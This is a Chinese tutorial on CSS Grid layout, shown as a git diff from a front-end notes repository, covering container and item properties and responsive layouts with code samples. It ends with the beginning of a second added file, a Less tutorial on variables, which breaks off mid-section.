布局模型,比较擅长将一个页面划分为几个主要区域,以及定义这些区域的大小、位置、层次等关系。号称是最强大的的 `CSS` 布局方案,是目前唯一一种 `CSS` 二维布局。利用 `Grid` 布局,我们可以轻松实现类似下图布局,[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FqBbveKB%3Feditors%3D1100) + +![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591885783dd~tplv-t2oaga2asx-watermark.awebp) + +## Grid 布局和 flex 布局 + +讲到布局,我们就会想到 `flex` 布局,甚至有人认为竟然有 `flex` 布局了,似乎没有必要去了解 `Grid` 布局。但 `flex` 布局和 `Grid` 布局有实质的区别,那就是 **`flex` 布局是一维布局,`Grid` 布局是二维布局**。`flex` 布局一次只能处理一个维度上的元素布局,一行或者一列。`Grid` 布局是将容器划分成了“行”和“列”,产生了一个个的网格,我们可以将网格元素放在与这些行和列相关的位置上,从而达到我们布局的目的。 + +**`Grid` 布局远比 `flex` 布局强大!** + +flex布局示例: + + + +![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/28/173945aadff842d1~tplv-t2oaga2asx-watermark.awebp) + + + +Grid 布局示例: + + + +![Grid 布局](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895918bcb5190~tplv-t2oaga2asx-watermark.awebp) + +## Grid 的一些基础概念 + +我们使用 Grid 实现一个小例子,演示 Grid 的一些基础概念,[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FQWyoexm%3Feditors%3D1100) + +``` +
    +
    One
    +
    Two
    +
    Three
    +
    Four
    +
    Five
    +
    Six
    +
    +复制代码 +.wrapper { + margin: 60px; + /* 声明一个容器 */ + display: grid; + /* 声明列的宽度 */ + grid-template-columns: repeat(3, 200px); + /* 声明行间距和列间距 */ + grid-gap: 20px; + /* 声明行的高度 */ + grid-template-rows: 100px 200px; +} +.one { + background: #19CAAD; +} +.two { + background: #8CC7B5; +} +.three { + background: #D1BA74; +} +.four { + background: #BEE7E9; +} +.five { + background: #E6CEAC; +} +.six { + background: #ECAD9E; +} +.item { + text-align: center; + font-size: 200%; + color: #fff; +} +复制代码 +``` + + + +![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895918bfd94e9~tplv-t2oaga2asx-watermark.awebp) + + + +容器和项目:我们通过在元素上声明 `display:grid` 或 `display:inline-grid` 来创建一个网格容器。一旦我们这样做,这个元素的所有直系子元素将成为网格项目。比如上面 `.wrapper` 所在的元素为一个网格容器,其直系子元素将成为网格项目。 + +网格轨道:`grid-template-columns` 和 `grid-template-rows` 属性来定义网格中的行和列。容器内部的水平区域称为行,垂直区域称为列。上图中 `One`、`Two`、`Three` 组成了一行,`One`、`Four` 则是一列 + + + +![行和列](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895918ee0ecb6~tplv-t2oaga2asx-watermark.awebp) + + + +网格单元:一个网格单元是在一个网格元素中最小的单位, 从概念上来讲其实它和表格的一个单元格很像。上图中 `One`、`Two`、`Three`、`Four`...都是一个个的网格单元 + +网格线:划分网格的线,称为"网格线"。应该注意的是,当我们定义网格时,我们定义的是网格轨道,而不是网格线。Grid 会为我们创建编号的网格线来让我们来定位每一个网格元素。m 列有 m + 1 根垂直的网格线,n 行有 n + 1 跟水平网格线。比如上图示例中就有 4 根垂直网格线。一般而言,是从左到右,从上到下,1,2,3 进行编号排序。当然也可以从右到左,从下到上,按照 -1,-2,-3...顺序进行编号排序 + + + +![网格线](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591934e1560~tplv-t2oaga2asx-watermark.awebp) + + + +## 容器属性介绍 + +`Grid` 布局相关的属性以及值众多,需要记忆的不少,建议可以跟 `demo` 一起结合起来,边敲代码边理解,再利用一些空闲时间记忆一下。笔者会在介绍每个属性的时候,做个小 `demo` 演示,建议大家可以自己修改看看效果加深记忆 + +`Grid` 布局属性可以分为两大类,一类是容器属性,一类是项目属性。我们先来看容器属性 + +### display 属性 + +[display 属性演示](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FwvMZwqY) + +我们通过在元素上声明 `display:grid` 或 `display:inline-grid` 来创建一个网格容器。声明 `display:grid` 则该容器是一个块级元素,设置成 `display: inline-grid` 则容器元素为行内元素 + +``` +.wrapper { + display: grid; +} +复制代码 +``` + + + +![块级元素](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591baa442ef~tplv-t2oaga2asx-watermark.awebp) + + + +``` +.wrapper-1 { + display: inline-grid; +} +复制代码 +``` + + + +![行内属性](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591c03b6883~tplv-t2oaga2asx-watermark.awebp) + + + +### grid-template-columns 属性和 grid-template-rows 属性 + +[grid-template-columns 和 grid-template-rows 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FBajEBYq%3Feditors%3D1100) + +`grid-template-columns` 属性设置列宽,`grid-template-rows` 属性设置行高,这两个属性在 `Grid` 布局中尤为重要,它们的值是有多种多样的,而且它们的设置是比较相似的,下面针对 `grid-template-columns` 属性进行讲解 + +**固定的列宽和行高** + +``` +.wrapper { + display: grid; + /* 声明了三列,宽度分别为 200px 100px 200px */ + grid-template-columns: 200px 100px 200px; + grid-gap: 5px; + /* 声明了两行,行高分别为 50px 50px */ + grid-template-rows: 50px 50px; +} +复制代码 +``` + +以上表示固定列宽为 200px 100px 200px,行高为 50px 50px + + + +![固定行高和列宽](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591c0fc1214~tplv-t2oaga2asx-watermark.awebp) + + + +**repeat() 函数**:可以简化重复的值。该函数接受两个参数,第一个参数是重复的次数,第二个参数是所要重复的值。比如上面行高都是一样的,我们可以这么去实现,实际效果是一模一样的 + +``` +.wrapper-1 { + display: grid; + grid-template-columns: 200px 100px 200px; + grid-gap: 5px; + /* 2行,而且行高都为 50px */ + grid-template-rows: repeat(2, 50px); +} +复制代码 +``` + +**auto-fill 关键字**:表示自动填充,让一行(或者一列)中尽可能的容纳更多的单元格。`grid-template-columns: repeat(auto-fill, 200px)` 表示列宽是 200 px,但列的数量是不固定的,只要浏览器能够容纳得下,就可以放置元素,代码以及效果如下图所示: + +``` +.wrapper-2 { + display: grid; + grid-template-columns: repeat(auto-fill, 200px); + grid-gap: 5px; + grid-auto-rows: 50px; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591c300e81a~tplv-t2oaga2asx-watermark.awebp) + + + +**fr 关键字**:`Grid` 布局还引入了一个另外的长度单位来帮助我们创建灵活的网格轨道。`fr` 单位代表网格容器中可用空间的一等份。`grid-template-columns: 200px 1fr 2fr` 表示第一个列宽设置为 200px,后面剩余的宽度分为两部分,宽度分别为剩余宽度的 1/3 和 2/3。代码以及效果如下图所示: + +``` +.wrapper-3 { + display: grid; + grid-template-columns: 200px 1fr 2fr; + grid-gap: 5px; + grid-auto-rows: 50px; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591ccc256d1~tplv-t2oaga2asx-watermark.awebp) + + + +**minmax() 函数**:我们有时候想给网格元素一个最小和最大的尺寸,`minmax()` 函数产生一个长度范围,表示长度就在这个范围之中都可以应用到网格项目中。它接受两个参数,分别为最小值和最大值。`grid-template-columns: 1fr 1fr minmax(300px, 2fr)` 的意思是,第三个列宽最少也是要 300px,但是最大不能大于第一第二列宽的两倍。代码以及效果如下: + +``` +.wrapper-4 { + display: grid; + grid-template-columns: 1fr 1fr minmax(300px, 2fr); + grid-gap: 5px; + grid-auto-rows: 50px; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591dc05edac~tplv-t2oaga2asx-watermark.awebp) + + + +**auto 关键字**:由浏览器决定长度。通过 `auto` 关键字,我们可以轻易实现三列或者两列布局。`grid-template-columns: 100px auto 100px` 表示第一第三列为 100px,中间由浏览器决定长度,代码以及效果如下: + +``` +.wrapper-5 { + display: grid; + grid-template-columns: 100px auto 100px; + grid-gap: 5px; + grid-auto-rows: 50px; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591f2146e1d~tplv-t2oaga2asx-watermark.awebp) + + + +### grid-row-gap 属性、grid-column-gap 属性以及 grid-gap 属性 + +[grid-row-gap 属性、grid-column-gap 属性以及 grid-gap 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FjOWRNeg) + +`grid-row-gap` 属性、`grid-column-gap` 属性分别设置行间距和列间距。`grid-gap` 属性是两者的简写形式。 + +`grid-row-gap: 10px` 表示行间距是 10px,`grid-column-gap: 20px` 表示列间距是 20px。`grid-gap: 10px 20px` 实现的效果是一样的 + +``` +.wrapper { + display: grid; + grid-template-columns: 200px 100px 100px; + grid-gap: 10px 20px; + grid-auto-rows: 50px; +} +复制代码 +.wrapper-1 { + display: grid; + grid-template-columns: 200px 100px 100px; + grid-auto-rows: 50px; + grid-row-gap: 10px; + grid-column-gap: 20px; +} +复制代码 +``` + +以上两种写法效果是一样的。 + + + +![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591f78de6f2~tplv-t2oaga2asx-watermark.awebp) + + + +### grid-template-areas 属性 + +[grid-area 以及 grid-template-areas演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FRwrObEJ%3Feditors%3D1100) + +`grid-template-areas` 属性用于定义区域,一个区域由一个或者多个单元格组成 + +一般这个属性跟网格元素的 `grid-area` 一起使用,我们在这里一起介绍。 `grid-area` 属性指定项目放在哪一个区域 + +``` +.wrapper { + display: grid; + grid-gap: 10px; + grid-template-columns: 120px 120px 120px; + grid-template-areas: + ". header header" + "sidebar content content"; + background-color: #fff; + color: #444; +} +复制代码 +``` + +上面代码表示划分出 6 个单元格,其中值得注意的是 `.` 符号代表空的单元格,也就是没有用到该单元格。 + +``` +.sidebar { + grid-area: sidebar; +} + +.content { + grid-area: content; +} + +.header { + grid-area: header; +} +复制代码 +``` + +以上代码表示将类 `.sidebar` `.content` `.header`所在的元素放在上面 `grid-template-areas` 中定义的 `sidebar` `content` `header` 区域中 + + + +![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895920bbe824a~tplv-t2oaga2asx-watermark.awebp) + + + +### grid-auto-flow 属性 + +[grid-auto-flow 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FMWKRWKj%3Feditors%3D1100) + +`grid-auto-flow` 属性控制着自动布局算法怎样运作,精确指定在网格中被自动布局的元素怎样排列。默认的放置顺序是"先行后列",即先填满第一行,再开始放入第二行,即下图英文数字的顺序 `one`,`two`,`three`...。这个顺序由 `grid-auto-flow` 属性决定,默认值是 `row`。 + +``` +.wrapper { + display: grid; + grid-template-columns: 100px 200px 100px; + grid-auto-flow: row; + grid-gap: 5px; + grid-auto-rows: 50px; +} +复制代码 +``` + + + +![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895921548265c~tplv-t2oaga2asx-watermark.awebp) + + + +细心的同学可能发现了一个问题,就是第五个项目和第六个项目之间有个空白(如下图所示),这个是由于第六块的长度大于了空白处的长度,被挤到了下一行导致的。在实际应用中,我们可能想让下面长度合适的填满这个空白,这个时候可以设置 `grid-auto-flow: row dense`,表示尽可能填满表格。代码以及效果如下所示: + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592211e1d6b~tplv-t2oaga2asx-watermark.awebp) + + + +``` +.wrapper-2 { + display: grid; + grid-template-columns: 100px 200px 100px; + grid-auto-flow: row dense; + grid-gap: 5px; + grid-auto-rows: 50px; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895923612a19b~tplv-t2oaga2asx-watermark.awebp) + + + +可以设置 `grid-auto-flow: column`,表示先列后行,代码以及效果如下图所示: + +``` +.wrapper-1 { + display: grid; + grid-auto-columns: 100px; + grid-auto-flow: column; + grid-gap: 5px; + grid-template-rows: 50px 50px; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895923f11dd83~tplv-t2oaga2asx-watermark.awebp) + + + +### justify-items 属性、align-items 属性以及 place-items 属性 + +[justify-items 属性、align-items 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FzYrXYrz%3Feditors%3D1100) + +`justify-items` 属性设置单元格内容的水平位置(左中右),`align-items` 属性设置单元格的垂直位置(上中下) + +下面以 justify-items 属性为例进行讲解,align-items 属性同理,只是方向为垂直方向。它们都有如下属性: + +``` +.container { + justify-items: start | end | center | stretch; + align-items: start | end | center | stretch; +} +复制代码 +``` + +其代码实现以及效果如下: + +``` +.wrapper, .wrapper-1, .wrapper-2, .wrapper-3 { + display: grid; + grid-template-columns: 100px 200px 100px; + grid-gap: 5px; + grid-auto-rows: 50px; + justify-items: start; +} +.wrapper-1 { + justify-items: end; +} +.wrapper-2 { + justify-items: center; +} +.wrapper-3 { + justify-items: stretch; +} +复制代码 +``` + +- start:对齐单元格的起始边缘 + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/1738959244947d96~tplv-t2oaga2asx-watermark.awebp) + + + +- end:对齐单元格的结束边缘 + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592560e3fc2~tplv-t2oaga2asx-watermark.awebp) + + + +- center:单元格内部居中 + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895925bd879fa~tplv-t2oaga2asx-watermark.awebp) + + + +- stretch:拉伸,占满单元格的整个宽度(默认值) + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/1738959270057d0c~tplv-t2oaga2asx-watermark.awebp) + + + +### justify-content 属性、align-content 属性以及 place-content 属性 + +[justify-content 属性、align-content 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FqBbwBZx%3Feditors%3D1100) + +`justify-content` 属性是整个内容区域在容器里面的水平位置(左中右),`align-content` 属性是整个内容区域的垂直位置(上中下)。它们都有如下的属性值。 + +``` +.container { + justify-content: start | end | center | stretch | space-around | space-between | space-evenly; + align-content: start | end | center | stretch | space-around | space-between | space-evenly; +} +复制代码 +``` + +下面以 `justify-content` 属性为例进行讲解,`align-content` 属性同理,只是方向为垂直方向 + +- start - 对齐容器的起始边框 +- end - 对齐容器的结束边框 +- center - 容器内部居中 + +``` +.wrapper, .wrapper-1, .wrapper-2, .wrapper-3, .wrapper-4, .wrapper-5, .wrapper-6 { + display: grid; + grid-template-columns: 100px 200px 100px; + grid-gap: 5px; + grid-auto-rows: 50px; + justify-content: start; +} +.wrapper-1 { + justify-content: end; +} +.wrapper-2 { + justify-content: center; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895926d20f5d6~tplv-t2oaga2asx-watermark.awebp) + + + +- space-around - 每个项目两侧的间隔相等。所以,项目之间的间隔比项目与容器边框的间隔大一倍 +- space-between - 项目与项目的间隔相等,项目与容器边框之间没有间隔 +- space-evenly - 项目与项目的间隔相等,项目与容器边框之间也是同样长度的间隔 +- stretch - 项目大小没有指定时,拉伸占据整个网格容器 + +``` +.wrapper-3 { + justify-content: space-around; +} +.wrapper-4 { + justify-content: space-between; +} +.wrapper-5 { + justify-content: space-evenly; +} +.wrapper-6 { + justify-content: stretch; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895927ba770c4~tplv-t2oaga2asx-watermark.awebp) + + + +### grid-auto-columns 属性和 grid-auto-rows 属性 + +[grid-auto-columns 属性和 grid-auto-rows 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FzYrXvYZ%3Feditors%3D1100) + +在讲 `grid-auto-columns` 属性和 `grid-auto-rows` 属性之前,先来看看隐式和显式网格的概念 + +**隐式和显式网格**:显式网格包含了你在 `grid-template-columns` 和 `grid-template-rows` 属性中定义的行和列。如果你在网格定义之外又放了一些东西,或者因为内容的数量而需要的更多网格轨道的时候,网格将会在隐式网格中创建行和列 + +假如有多余的网格(也就是上面提到的隐式网格),那么它的行高和列宽可以根据 `grid-auto-columns` 属性和 `grid-auto-rows` 属性设置。它们的写法和`grid-template-columns` 和 `grid-template-rows` 完全相同。如果不指定这两个属性,浏览器完全根据单元格内容的大小,决定新增网格的列宽和行高 + +``` +.wrapper { + display: grid; + grid-template-columns: 200px 100px; +/* 只设置了两行,但实际的数量会超出两行,超出的行高会以 grid-auto-rows 算 */ + grid-template-rows: 100px 100px; + grid-gap: 10px 20px; + grid-auto-rows: 50px; +} +复制代码 +``` + +`grid-template-columns` 属性和 `grid-template-rows` 属性只是指定了两行两列,但实际有九个元素,就会产生隐式网格。通过 `grid-auto-rows` 可以指定隐式网格的行高为 50px + + + +![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895927d99af1c~tplv-t2oaga2asx-watermark.awebp) + + + +## 项目属性介绍 + +### grid-column-start 属性、grid-column-end 属性、grid-row-start 属性以及grid-row-end 属性 + +[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FPoZgopr) + +可以指定网格项目所在的四个边框,分别定位在哪根网格线,从而指定项目的位置 + +- grid-column-start 属性:左边框所在的垂直网格线 +- grid-column-end 属性:右边框所在的垂直网格线 +- grid-row-start 属性:上边框所在的水平网格线 +- grid-row-end 属性:下边框所在的水平网格线 + +``` +.wrapper { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-gap: 20px; + grid-auto-rows: minmax(100px, auto); +} +.one { + grid-column-start: 1; + grid-column-end: 2; + background: #19CAAD; +} +.two { + grid-column-start: 2; + grid-column-end: 4; + grid-row-start: 1; + grid-row-end: 2; + /* 如果有重叠,就使用 z-index */ + z-index: 1; + background: #8CC7B5; +} +.three { + grid-column-start: 3; + grid-column-end: 4; + grid-row-start: 1; + grid-row-end: 4; + background: #D1BA74; +} +.four { + grid-column-start: 1; + grid-column-end: 2; + grid-row-start: 2; + grid-row-end: 5; + background: #BEE7E9; +} +.five { + grid-column-start: 2; + grid-column-end: 2; + grid-row-start: 2; + grid-row-end: 5; + background: #E6CEAC; +} +.six { + grid-column: 3; + grid-row: 4; + background: #ECAD9E; +} +复制代码 +``` + +上面代码中,类 `.two` 所在的网格项目,垂直网格线是从 2 到 4,水平网格线是从 1 到 2。其中它跟 `.three` (垂直网格线是从3 到 4,水平网格线是从 1 到 4) 是有冲突的。可以设置 `z-index` 去决定它们的层级关系 + + + +![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895928bc7e88e~tplv-t2oaga2asx-watermark.awebp) + + + +### grid-area 属性 + +`grid-area` 属性指定项目放在哪一个区域,在上面介绍 `grid-template-areas` 的时候有提到过,这里不再具体展开,具体的使用可以参考演示地址: + +[grid-area 以及 grid-template-areas 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FRwrObEJ) + +### justify-self 属性、align-self 属性以及 place-self 属性 + +[justify-self 属性/ align-self 属性/ place-self 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FZEQZEJK%3Feditors%3D1100) + +`justify-self` 属性设置单元格内容的水平位置(左中右),跟 `justify-items` 属性的用法完全一致,但只作用于单个项目 + +`align-self` 属性设置单元格内容的垂直位置(上中下),跟align-items属性的用法完全一致,也是只作用于单个项目 + +两者很相像,这里只拿 `justify-self` 属性演示,`align-self` 属性同理,只是作用于垂直方向。`place-self` 是设置 `align-self` 和 `justify-self` 的简写形式,这里也不重复介绍。 + +``` +.item { + justify-self: start | end | center | stretch; + align-self: start | end | center | stretch; +} +复制代码 +.item { + justify-self: start; +} +.item-1 { + justify-self: end; +} +.item-2 { + justify-self: center; +} +.item-3 { + justify-self: stretch; +} +复制代码 +``` + +- start:对齐单元格的起始边缘 + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/1738959292160e78~tplv-t2oaga2asx-watermark.awebp) + + + +- end:对齐单元格的结束边缘 + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592a0d5a3c0~tplv-t2oaga2asx-watermark.awebp) + + + +- center:单元格内部居中 + + ![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592b1378c8d~tplv-t2oaga2asx-watermark.awebp) + + + +- stretch:拉伸,占满单元格的整个宽度(默认值) + + ![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592b895f0ed~tplv-t2oaga2asx-watermark.awebp) + + + +## Grid 实战——实现响应式布局 + +经过上面的介绍,相信大家都可以看出,Grid 是非常强大的。一些常见的 CSS 布局,如居中,两列布局,三列布局等等是很容易实现的。我们接下来看看 Grid 布局是如何实现响应式布局的 + +### fr 实现等分响应式 + +[fr 实现等分响应式](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FwvMZKpB%3Feditors%3D1100) + +`fr` 等分单位,可以将容器的可用空间分成想要的多个等分空间。利用这个特性,我们能够轻易实现一个等分响应式。`grid-template-columns: 1fr 1fr 1fr` 表示容器分为三等分 + +```css +.wrapper { + margin: 50px; + display: grid; + grid-template-columns: 1fr 1fr 1fr; + grid-gap: 10px 20px; + grid-auto-rows: 50px; +} +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592bf7e44dd~tplv-t2oaga2asx-watermark.awebp) + + + +### repeat + auto-fit——固定列宽,改变列数量 + +等分布局并不只有 `Grid` 布局才有,像 `flex` 布局也能轻松实现,接下来看看更高级的响应式 + +上面例子的始终都是三列的,但是需求往往希望我们的网格能够固定列宽,并根据容器的宽度来改变列的数量。这个时候,我们可以用到上面提到 `repeat()` 函数以及 `auto-fit` 关键字。`grid-template-columns: repeat(auto-fit, 200px)` 表示固定列宽为 200px,数量是自适应的,只要容纳得下,就会往上排列,代码以及效果实现如下: + +[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FeYJopVE%3Feditors%3D1100) + +```CSS +.wrapper { + margin: 50px; + display: grid; + grid-template-columns: repeat(auto-fit, 200px); + grid-gap: 10px 20px; + grid-auto-rows: 50px; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592c297495a~tplv-t2oaga2asx-watermark.awebp) + + + +### repeat+auto-fit+minmax 去掉右侧空白 + +上面看到的效果中,右侧通常会留下空白,这是我们不希望看到的。如果列的宽度也能在某个范围内自适应就好了。`minmax()` 函数就帮助我们做到了这点。将 `grid-template-columns: repeat(auto-fit, 200px)` 改成 `grid-template-columns: repeat(auto-fit, minmax(200px, 1fr))` 表示列宽至少 200px,如果还有空余则一起等分。代码以及效果如下所示: + +[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FdyGLYdQ) + +``` +.wrapper { + margin: 50px; + display: grid; + grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); + grid-gap: 10px 20px; + grid-auto-rows: 50px; +} +复制代码 +``` + + + +![auto-auto-minmax.gif](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592cc3c2bf9~tplv-t2oaga2asx-watermark.awebp) + + + +### repeat+auto-fit+minmax-span-dense 解决空缺问题 + +似乎一切进行得很顺利,但是某天 UI 来说,每个网格元素的长度可能不相同,这也简单,通过 `span` 关键字进行设置网格项目的跨度,`grid-column-start: span 3`,表示这个网格项目跨度为 3。具体的代码与效果如下所示: + +``` +.item-3 { + grid-column-start: span 3; +} +复制代码 +``` + +[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FBajEoxy%3Feditors%3D1100) + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592f9da3763~tplv-t2oaga2asx-watermark.awebp) + + + +不对,怎么右侧又有空白了?原来是有一些长度太长了,放不下,这个时候就到我们的 `dense` 关键字出场了。`grid-auto-flow: row dense` 表示尽可能填充,而不留空白,代码以及效果如下所示: + +``` +.wrapper, .wrapper-1 { + margin: 50px; + display: grid; + grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); + grid-gap: 10px 20px; + grid-auto-rows: 50px; +} + +.wrapper-1 { + grid-auto-flow: row dense; +} +复制代码 +``` + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389593009f7fe7~tplv-t2oaga2asx-watermark.awebp) + + + +## Grid 布局兼容性 + +最后,聊聊 `Grid` 布局兼容性问题,在 [caniuse](https://link.juejin.cn?target=https%3A%2F%2Fcaniuse.com%2F%23search%3Dgrid) 中,我们可以看到的结果如下,总体兼容性还不错,但在 IE 10 以下不支持。个人建议在公司的内部系统运用起来是没有问题的,但 TOC 的话,可能目前还是不太合适 + + + +![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592fa541366~tplv-t2oaga2asx-watermark.awebp) + +## 参考 + +[常见的 Grid 布局用例](https://link.juejin.cn/?target=https%3A%2F%2Fgridbyexample.com%2Fexamples%2F) + +[CSS Grid 网格布局教程](https://link.juejin.cn/?target=https%3A%2F%2Fwww.ruanyifeng.com%2Fblog%2F2019%2F03%2Fgrid-layout-tutorial.html) + +[Grid 布局草案](https://link.juejin.cn/?target=https%3A%2F%2Fdrafts.csswg.org%2Fcss-grid%2F%23intro) + +[一行 CSS 代码实现响应式布局 – 使用 Grid 实现的响应式布局](https://link.juejin.cn/?target=https%3A%2F%2Fwww.html.cn%2Farchives%2F8706) + +[MDN](https://link.juejin.cn/?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fzh-CN%2Fdocs%2FWeb%2FCSS%2FCSS_Grid_Layout%2FBasic_Concepts_of_Grid_Layout) diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Less \347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Less \347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" new file mode 100644 index 00000000..1c089f99 --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Less \347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" @@ -0,0 +1,1157 @@ +--- +date: 2021-04-24 +category: +- CSS +- 前端 +--- + +> 作者:SimonMa +> 链接:https://juejin.cn/post/6844903520441729037 +# Less 知识点汇总 + +## 变量 + +**值变量** + +```CSS +/* Less */ +@color: #999; +@bgColor: skyblue;//不要添加引号 +@width: 50%; +#wrap { + color: @color; + background: @bgColor; + width: @width; +} + +/* 生成后的 CSS */ +#wrap { + color: #999; + background: skyblue; + width: 50%; +} +``` + +以 `@` 开头 定义变量,并且使用时 直接 键入 `@`名称。 + +在平时工作中,我们就可以把 常用的变量 封装到一个文件中,这样利于代码组织维护。 + +```CSS +@lightPrimaryColor: #c5cae9; +@textPrimaryColor: #fff; +@accentColor: rgb(99, 137, 185); +@primaryTextColor: #646464; +@secondaryTextColor: #000; +@dividerColor: #b6b6b6; +@borderColor: #dadada; +``` + +**选择器变量** + +让 选择器 变成 动态 + +```CSS +/* Less */ +@mySelector: #wrap; +@Wrap: wrap; +@{mySelector}{ //变量名 必须使用大括号包裹 + color: #999; + width: 50%; +} +.@{Wrap}{ + color:#ccc; +} +#@{Wrap}{ + color:#666; +} + +/* 生成的 CSS */ +#wrap{ + color: #999; + width: 50%; +} +.wrap{ + color:#ccc; +} +#wrap{ + color:#666; +} +``` + +**属性变量** + +可减少代码书写量 + +```CSS +/* Less */ +@borderStyle: border-style; +@Soild:solid; +#wrap{ + @{borderStyle}: @Soild;//变量名 必须使用大括号包裹 +} + +/* 生成的 CSS */ +#wrap{ + border-style:solid; +} +``` + +**url 变量** + +项目结构改变时,修改其变量即可。 + +```CSS +/* Less */ +@images: "../img";//需要加引号 +body { + background: url("@{images}/dog.png");//变量名 必须使用大括号包裹 +} + +/* 生成的 CSS */ +body { + background: url("../img/dog.png"); +} + + +``` + +**声明变量** + +有点类似于 下面的 混合方法 + +- 结构: @name: { 属性: 值 